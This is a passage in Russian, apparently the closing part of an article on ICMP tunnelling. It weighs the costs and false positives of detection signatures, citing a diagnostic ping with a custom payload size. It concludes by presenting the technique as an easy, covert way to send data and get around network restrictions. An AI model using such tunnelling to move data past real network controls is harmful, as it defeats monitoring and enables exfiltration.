- На проверку каждой сигнатуры требуются ресурсы (преимущественно процессор и время), что может замедлить сеть.
- Проверка сети может проводиться с помощью разных ping-сообщений с разным размером полезной нагрузки (например, ping -s 1234 8.8.8.8 отправит ping-сообщение с полезной нагрузкой в размере 1234 байт) для диагностики проблем, связанных с MTU. Активация подобной сигнатуры приведёт к множеству ложных срабатываний, что будет раздражать команду мониторинга и, как следствие, снизит надёжность сигнатуры.
Заключение
ICMP-туннелирование — отличный способ для незаметной отправки/получения данных. Хотя порой оно будет не так эффективно из-за различных защитных мер, зачастую вы обнаружите, что это простой и удобный способ обойти некоторые ограничения.
Если вы поняли суть ICMP-туннелирования, то вы сможете создать множество других решений вроде DNS-туннелирования, SSH-туннелирования и так далее.